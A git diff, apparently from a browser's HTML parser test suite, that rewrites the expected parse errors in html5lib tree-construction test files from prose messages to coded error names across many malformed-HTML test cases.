+(1,6): expected-doctype-but-got-start-tag
+(1,46): adoption-agency-1.3
+(1,50): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests23.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests23.dat
index 34d2a73f1..49e4a4ace 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests23.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests23.dat
@@ -1,9 +1,9 @@
#data
<p><font size=4><font color=red><font size=4><font size=4><font size=4><font size=4><font size=4><font color=red><p>X
#errors
-3: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-116: Unclosed elements.
-117: End of file seen and there were open elements.
+(1,3): expected-doctype-but-got-start-tag
+(1,116): unexpected-end-tag
+(1,117): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -41,6 +41,9 @@
#data
<p><font size=4><font size=4><font size=4><font size=4><p>X
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,58): unexpected-end-tag
+(1,59): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -66,6 +69,9 @@
#data
<p><font size=4><font size=4><font size=4><font size="5"><font size=4><p>X
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,73): unexpected-end-tag
+(1,74): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -95,6 +101,9 @@
#data
<p><font size=4 id=a><font size=4 id=b><font size=4><font size=4><p>X
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,68): unexpected-end-tag
+(1,69): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -126,6 +135,10 @@
#data
<p><b id=a><b id=a><b id=a><b><object><b id=a><b id=a>X</object><p>Y
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,64): end-tag-too-early
+(1,67): unexpected-end-tag
+(1,68): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests25.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests25.dat
index 00de7295b..cbc00512b 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests25.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests25.dat
@@ -1,6 +1,7 @@
#data
<!DOCTYPE html><body><foo>A
#errors
+(1,27): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -67,7 +68,7 @@
#data
<!DOCTYPE html><body><col>A
#errors
-26: Stray start tag “col”.
+(1,26): unexpected-start-tag-ignored
#document
| <!DOCTYPE html>
| <html>
@@ -84,7 +85,7 @@
| <head>
| <body>
| <command>
-| "A"
+| "A"
#data
<!DOCTYPE html><body><embed>A
@@ -100,7 +101,7 @@
#data
<!DOCTYPE html><body><frame>A
#errors
-26: Stray start tag “frame”.
+(1,28): unexpected-start-tag-ignored
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests26.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests26.dat
index fae11ffdf..867bbeecd 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests26.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests26.dat
@@ -1,6 +1,16 @@
#data
<!DOCTYPE html><body><a href='#1'><nobr>1<nobr></a><br><a href='#2'><nobr>2<nobr></a><br><a href='#3'><nobr>3<nobr></a>
#errors
+(1,47): unexpected-start-tag-implies-end-tag
+(1,51): adoption-agency-1.3
+(1,74): unexpected-start-tag-implies-end-tag
+(1,74): adoption-agency-1.3
+(1,81): unexpected-start-tag-implies-end-tag
+(1,85): adoption-agency-1.3
+(1,108): unexpected-start-tag-implies-end-tag
+(1,108): adoption-agency-1.3
+(1,115): unexpected-start-tag-implies-end-tag
+(1,119): adoption-agency-1.3
#document
| <!DOCTYPE html>
| <html>
@@ -33,6 +43,13 @@
#data
<!DOCTYPE html><body><b><nobr>1<nobr></b><i><nobr>2<nobr></i>3
#errors
+(1,37): unexpected-start-tag-implies-end-tag
+(1,41): adoption-agency-1.3
+(1,50): unexpected-start-tag-implies-end-tag
+(1,50): adoption-agency-1.3
+(1,57): unexpected-start-tag-implies-end-tag
+(1,61): adoption-agency-1.3
+(1,62): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -54,6 +71,20 @@
#data
<!DOCTYPE html><body><b><nobr>1<table><nobr></b><i><nobr>2<nobr></i>3
#errors
+(1,44): foster-parenting-start-tag
+(1,48): foster-parenting-end-tag
+(1,48): adoption-agency-1.3
+(1,51): foster-parenting-start-tag
+(1,57): foster-parenting-start-tag
+(1,57): nobr-already-in-scope
+(1,57): adoption-agency-1.2
+(1,58): foster-parenting-character
+(1,64): foster-parenting-start-tag
+(1,64): nobr-already-in-scope
+(1,68): foster-parenting-end-tag
+(1,68): adoption-agency-1.2
+(1,69): foster-parenting-character
+(1,69): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -75,6 +106,12 @@
#data
<!DOCTYPE html><body><b><nobr>1<table><tr><td><nobr></b><i><nobr>2<nobr></i>3
#errors
+(1,56): unexpected-end-tag
+(1,65): unexpected-start-tag-implies-end-tag
+(1,65): adoption-agency-1.3
+(1,72): unexpected-start-tag-implies-end-tag
+(1,76): adoption-agency-1.3
+(1,77): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -99,6 +136,15 @@
#data
<!DOCTYPE html><body><b><nobr>1<div><nobr></b><i><nobr>2<nobr></i>3
#errors
+(1,42): unexpected-start-tag-implies-end-tag
+(1,42): adoption-agency-1.3
+(1,46): adoption-agency-1.3
+(1,46): adoption-agency-1.3
+(1,55): unexpected-start-tag-implies-end-tag
+(1,55): adoption-agency-1.3
+(1,62): unexpected-start-tag-implies-end-tag
+(1,66): adoption-agency-1.3
+(1,67): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -123,6 +169,13 @@
#data
<!DOCTYPE html><body><b><nobr>1<nobr></b><div><i><nobr>2<nobr></i>3
#errors
+(1,37): unexpected-start-tag-implies-end-tag
+(1,41): adoption-agency-1.3
+(1,55): unexpected-start-tag-implies-end-tag
+(1,55): adoption-agency-1.3
+(1,62): unexpected-start-tag-implies-end-tag
+(1,66): adoption-agency-1.3
+(1,67): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -145,6 +198,11 @@
#data
<!DOCTYPE html><body><b><nobr>1<nobr><ins></b><i><nobr>
#errors
+(1,37): unexpected-start-tag-implies-end-tag
+(1,46): adoption-agency-1.3
+(1,55): unexpected-start-tag-implies-end-tag
+(1,55): adoption-agency-1.3
+(1,55): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -163,6 +221,10 @@
#data
<!DOCTYPE html><body><b><nobr>1<ins><nobr></b><i>2
#errors
+(1,42): unexpected-start-tag-implies-end-tag
+(1,42): adoption-agency-1.3
+(1,46): adoption-agency-1.3
+(1,50): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -180,6 +242,10 @@
#data
<!DOCTYPE html><body><b>1<nobr></b><i><nobr>2</i>
#errors
+(1,35): adoption-agency-1.3
+(1,44): unexpected-start-tag-implies-end-tag
+(1,44): adoption-agency-1.3
+(1,49): adoption-agency-1.3
#document
| <!DOCTYPE html>
| <html>
@@ -198,6 +264,11 @@
<p><code x</code></p>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,11): invalid-character-in-attribute-name
+(1,12): unexpected-character-after-solidus-in-tag
+(1,21): unexpected-end-tag
+(2,0): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -215,11 +286,8 @@
#data
<!DOCTYPE html><svg><foreignObject><p><i></p>a
#errors
-45: End tag “p” seen, but there were open elements.
-41: Unclosed element “i”.
-46: End of file seen and there were open elements.
-35: Unclosed element “foreignObject”.
-20: Unclosed element “svg”.
+(1,45): unexpected-end-tag
+(1,46): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -235,12 +303,8 @@
#data
<!DOCTYPE html><table><tr><td><svg><foreignObject><p><i></p>a
#errors
-56: End tag “p” seen, but there were open elements.
-52: Unclosed element “i”.
-57: End of file seen and there were open elements.
-46: Unclosed element “foreignObject”.
-31: Unclosed element “svg”.
-22: Unclosed element “table”.
+(1,60): unexpected-end-tag
+(1,61): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -260,9 +324,8 @@
#data
<!DOCTYPE html><math><mtext><p><i></p>a
#errors
-38: End tag “p” seen, but there were open elements.
-34: Unclosed element “i”.
-39: End of file in a foreign namespace context.
+(1,38): unexpected-end-tag
+(1,39): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -278,9 +341,8 @@
#data
<!DOCTYPE html><table><tr><td><math><mtext><p><i></p>a
#errors
-53: End tag “p” seen, but there were open elements.
-49: Unclosed element “i”.
-54: End of file in a foreign namespace context.
+(1,53): unexpected-end-tag
+(1,54): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -300,9 +362,8 @@
#data
<!DOCTYPE html><body><div><!/div>a
#errors
-29: Bogus comment.
-34: End of file seen and there were open elements.
-26: Unclosed element “div”.
+(1,28): expected-dashes-or-doctype
+(1,34): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -311,3 +372,40 @@
| <div>
| <!-- /div -->
| "a"
+
+#data
+<button><p><button>
+#errors
+Line 1 Col 8 Unexpected start tag (button). Expected DOCTYPE.
+Line 1 Col 19 Unexpected start tag (button) implies end tag (button).
+Line 1 Col 19 Expected closing tag. Unexpected end of file.
+#document
+| <html>
+| <head>
+| <body>
+| <button>
+| <p>
+| <button>
+
+#data
+<!DOCTYPE html><html><frameset></frameset></html></frameset>
+#errors
+60: Stray end tag “frameset”.
+#document
+| <!DOCTYPE html>
+| <html>
+| <head>
+| <frameset>
+
+#data
+<!DOCTYPE html><html><frameset></frameset></html>XXX</frameset>
+#errors
+52: Non-space character in page trailer.
+52: Non-space character in page trailer.
+52: Non-space character in page trailer.
+63: Stray end tag “frameset”.
+#document
+| <!DOCTYPE html>
+| <html>
+| <head>
+| <frameset>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests3.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests3.dat
index 38dc501be..423e2b3ca 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests3.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests3.dat
@@ -1,8 +1,8 @@
#data
<head></head><style></style>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected start tag (style) that can be in head. Moved.
+(1,6): expected-doctype-but-got-start-tag
+(1,20): unexpected-start-tag-out-of-my-head
#document
| <html>
| <head>
@@ -12,8 +12,8 @@ Line: 1 Col: 20 Unexpected start tag (style) that can be in head. Moved.
#data
<head></head><script></script>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected start tag (script) that can be in head. Moved.
+(1,6): expected-doctype-but-got-start-tag
+(1,21): unexpected-start-tag-out-of-my-head
#document
| <html>
| <head>
@@ -23,8 +23,9 @@ Line: 1 Col: 21 Unexpected start tag (script) that can be in head. Moved.
#data
<head></head><!-- --><style></style><!-- --><script></script>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 28 Unexpected start tag (style) that can be in head. Moved.
+(1,6): expected-doctype-but-got-start-tag
+(1,28): unexpected-start-tag-out-of-my-head
+(1,52): unexpected-start-tag-out-of-my-head
#document
| <html>
| <head>
@@ -37,7 +38,7 @@ Line: 1 Col: 28 Unexpected start tag (style) that can be in head. Moved.
#data
<head></head><!-- -->x<style></style><!-- --><script></script>
#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -131,7 +132,7 @@ y"
<!DOCTYPE html><html><head></head><body><pre>x<div>
y</pre></body></html>
#errors
-Line: 2 Col: 7 End tag (pre) seen too early. Expected other end tag.
+(2,7): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -158,7 +159,7 @@ A"
#data
<!DOCTYPE html><HTML><META><HEAD></HEAD></HTML>
#errors
-Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
+(1,33): two-heads-are-not-better-than-one
#document
| <!DOCTYPE html>
| <html>
@@ -169,7 +170,7 @@ Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
#data
<!DOCTYPE html><HTML><HEAD><head></HEAD></HTML>
#errors
-Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
+(1,33): two-heads-are-not-better-than-one
#document
| <!DOCTYPE html>
| <html>
@@ -179,8 +180,8 @@ Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
#data
<textarea>foo<span>bar</span><i>baz
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,35): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -191,8 +192,8 @@ Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
#data
<title>foo<span>bar</em><i>baz
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 30 Unexpected end of file. Expected end tag (title).
+(1,7): expected-doctype-but-got-start-tag
+(1,30): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -240,7 +241,7 @@ foo"
#data
<!DOCTYPE html><html><head></head><body><ul><li><div><p><li></ul></body></html>
#errors
-Line: 1 Col: 60 Missing end tag (div, li).
+(1,60): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -255,9 +256,9 @@ Line: 1 Col: 60 Missing end tag (div, li).
#data
<!doctype html><nobr><nobr><nobr>
#errors
-Line: 1 Col: 27 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 33 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
+(1,27): unexpected-start-tag-implies-end-tag
+(1,33): unexpected-start-tag-implies-end-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -270,8 +271,8 @@ Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
#data
<!doctype html><nobr><nobr></nobr><nobr>
#errors
-Line: 1 Col: 27 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 40 Expected closing tag. Unexpected end of file.
+(1,27): unexpected-start-tag-implies-end-tag
+(1,40): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -296,7 +297,7 @@ Not known
#data
<p><table></table>
#errors
-Not known
+(1,3): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests4.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests4.dat
index 3c506326d..0a6174c36 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests4.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests4.dat
@@ -41,7 +41,6 @@ plaintext
#data
setting html's innerHTML
#errors
-Line: 1 Col: 24 Unexpected EOF in inner html mode.
#document-fragment
html
#document
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests5.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests5.dat
index d7b5128a4..4d5fcd7a7 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests5.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests5.dat
@@ -1,8 +1,7 @@
#data
<style> <!-- </style>x
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -14,7 +13,8 @@ Line: 1 Col: 22 Unexpected end of file. Expected end tag (style).
#data
<style> <!-- </style> --> </style>x
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
+(1,34): unexpected-end-tag
#document
| <html>
| <head>
@@ -27,7 +27,7 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<style> <!--> </style>x
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -39,7 +39,7 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<style> <!---> </style>x
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -51,7 +51,7 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<iframe> <!---> </iframe>x
#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -63,7 +63,9 @@ Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
#data
<iframe> <!--- </iframe>->x</iframe> --> </iframe>x
#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
+(1,36): unexpected-end-tag
+(1,50): unexpected-end-tag
#document
| <html>
| <head>
@@ -75,7 +77,8 @@ Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
#data
<script> <!-- </script> --> </script>x
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
+(1,37): unexpected-end-tag
#document
| <html>
| <head>
@@ -88,7 +91,8 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<title> <!-- </title> --> </title>x
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
+(1,34): unexpected-end-tag
#document
| <html>
| <head>
@@ -101,7 +105,9 @@ Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
#data
<textarea> <!--- </textarea>->x</textarea> --> </textarea>x
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
+(1,42): unexpected-end-tag
+(1,58): unexpected-end-tag
#document
| <html>
| <head>
@@ -113,7 +119,7 @@ Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
#data
<style> <!</-- </style>x
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -125,7 +131,7 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<p><xmp></xmp>
#errors
-XXX: Unknown
+(1,3): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -136,7 +142,7 @@ XXX: Unknown
#data
<xmp> <!-- > --> </xmp>
#errors
-Line: 1 Col: 5 Unexpected start tag (xmp). Expected DOCTYPE.
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -147,7 +153,7 @@ Line: 1 Col: 5 Unexpected start tag (xmp). Expected DOCTYPE.
#data
<title>&amp;</title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -158,7 +164,7 @@ Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
#data
<title><!--&amp;--></title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -169,8 +175,7 @@ Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
#data
<title><!--</title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end of file. Expected end tag (title).
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -181,7 +186,8 @@ Line: 1 Col: 19 Unexpected end of file. Expected end tag (title).
#data
<noscript><!--</noscript>--></noscript>
#errors
-Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
+(1,39): unexpected-end-tag
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests6.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests6.dat
index f28ece4fb..fedc64e93 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests6.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests6.dat
@@ -1,7 +1,7 @@
#data
<!doctype html></head> <head>
#errors
-Line: 1 Col: 29 Unexpected start tag head. Ignored.
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -12,8 +12,8 @@ Line: 1 Col: 29 Unexpected start tag head. Ignored.
#data
<!doctype html><form><div></form><div>
#errors
-33: End tag "form" seen but there were unclosed elements.
-38: End of file seen and there were open elements.
+(1,33): end-tag-too-early-ignored
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -48,9 +48,9 @@ Line: 1 Col: 29 Unexpected start tag head. Ignored.
#data
<!doctype>
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 10 Unexpected > character. Expected DOCTYPE name.
-Line: 1 Col: 10 Erroneous DOCTYPE.
+(1,9): need-space-after-doctype
+(1,10): expected-doctype-name-but-got-right-bracket
+(1,10): unknown-doctype
#document
| <!DOCTYPE >
| <html>
@@ -60,8 +60,8 @@ Line: 1 Col: 10 Erroneous DOCTYPE.
#data
<!---x
#errors
-Line: 1 Col: 6 Unexpected end of file in comment.
-Line: 1 Col: 6 Unexpected End of file. Expected DOCTYPE.
+(1,6): eof-in-comment
+(1,6): expected-doctype-but-got-eof
#document
| <!-- -x -->
| <html>
@@ -72,8 +72,8 @@ Line: 1 Col: 6 Unexpected End of file. Expected DOCTYPE.
<body>
<div>
#errors
-Line: 1 Col: 6 Unexpected start tag (body).
-Line: 2 Col: 5 Expected closing tag. Unexpected end of file.
+(1,6): unexpected-start-tag
+(2,5): expected-closing-tag-but-got-eof
#document-fragment
div
#document
@@ -85,8 +85,10 @@ div
<frameset></frameset>
foo
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 3 Unexpected non-space characters in the after frameset phase. Ignored.
+(1,10): expected-doctype-but-got-start-tag
+(2,1): unexpected-char-after-frameset
+(2,2): unexpected-char-after-frameset
+(2,3): unexpected-char-after-frameset
#document
| <html>
| <head>
@@ -98,8 +100,8 @@ Line: 2 Col: 3 Unexpected non-space characters in the after frameset phase. Igno
<frameset></frameset>
<noframes>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 10 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(2,10): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -112,8 +114,8 @@ Line: 2 Col: 10 Expected closing tag. Unexpected end of file.
<frameset></frameset>
<div>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 5 Unexpected start tag (div) in the after frameset phase. Ignored.
+(1,10): expected-doctype-but-got-start-tag
+(2,5): unexpected-start-tag-after-frameset
#document
| <html>
| <head>
@@ -125,7 +127,7 @@ Line: 2 Col: 5 Unexpected start tag (div) in the after frameset phase. Ignored.
<frameset></frameset>
</html>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -137,8 +139,8 @@ Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
<frameset></frameset>
</div>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 6 Unexpected end tag (div) in the after frameset phase. Ignored.
+(1,10): expected-doctype-but-got-start-tag
+(2,6): unexpected-end-tag-after-frameset
#document
| <html>
| <head>
@@ -149,9 +151,9 @@ Line: 2 Col: 6 Unexpected end tag (div) in the after frameset phase. Ignored.
#data
<form><form>
#errors
-Line: 1 Col: 6 Unexpected start tag (form). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected start tag (form).
-Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
+(1,6): expected-doctype-but-got-start-tag
+(1,12): unexpected-start-tag
+(1,12): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -161,9 +163,9 @@ Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
#data
<button><button>
#errors
-Line: 1 Col: 8 Unexpected start tag (button). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (button) implies end tag (button).
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
+(1,8): expected-doctype-but-got-start-tag
+(1,16): unexpected-start-tag-implies-end-tag
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -174,9 +176,9 @@ Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
#data
<table><tr><td></th>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (th). Ignored.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,20): unexpected-end-tag
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -189,10 +191,10 @@ Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
#data
<table><caption><td>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (td). Ignored.
-Line: 1 Col: 20 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,20): XXX-undefined-error
+(1,20): unexpected-cell-in-table-body
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -206,8 +208,8 @@ Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
#data
<table><caption><div>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -219,8 +221,8 @@ Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
#data
</caption><div>
#errors
-Line: 1 Col: 10 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
+(1,10): XXX-undefined-error
+(1,15): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -229,9 +231,9 @@ caption
#data
<table><caption><div></caption>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 31 Unexpected end tag (caption). Missing end tag (div).
-Line: 1 Col: 31 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,31): expected-one-end-tag-but-got-another
+(1,31): eof-in-table
#document
| <html>
| <head>
@@ -243,8 +245,8 @@ Line: 1 Col: 31 Unexpected end of file. Expected table content.
#data
<table><caption></table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 24 Unexpected end table tag in caption. Generates implied end caption.
+(1,7): expected-doctype-but-got-start-tag
+(1,24): end-table-tag-in-caption
#document
| <html>
| <head>
@@ -255,9 +257,8 @@ Line: 1 Col: 24 Unexpected end table tag in caption. Generates implied end capti
#data
</table><div>
#errors
-Line: 1 Col: 8 Unexpected end table tag in caption. Generates implied end caption.
-Line: 1 Col: 8 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 13 Expected closing tag. Unexpected end of file.
+(1,8): unexpected-end-tag
+(1,13): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -266,18 +267,18 @@ caption
#data
<table><caption></body></col></colgroup></html></tbody></td></tfoot></th></thead></tr>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (body). Ignored.
-Line: 1 Col: 29 Unexpected end tag (col). Ignored.
-Line: 1 Col: 40 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 47 Unexpected end tag (html). Ignored.
-Line: 1 Col: 55 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 60 Unexpected end tag (td). Ignored.
-Line: 1 Col: 68 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 73 Unexpected end tag (th). Ignored.
-Line: 1 Col: 81 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 86 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 86 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,23): unexpected-end-tag
+(1,29): unexpected-end-tag
+(1,40): unexpected-end-tag
+(1,47): unexpected-end-tag
+(1,55): unexpected-end-tag
+(1,60): unexpected-end-tag
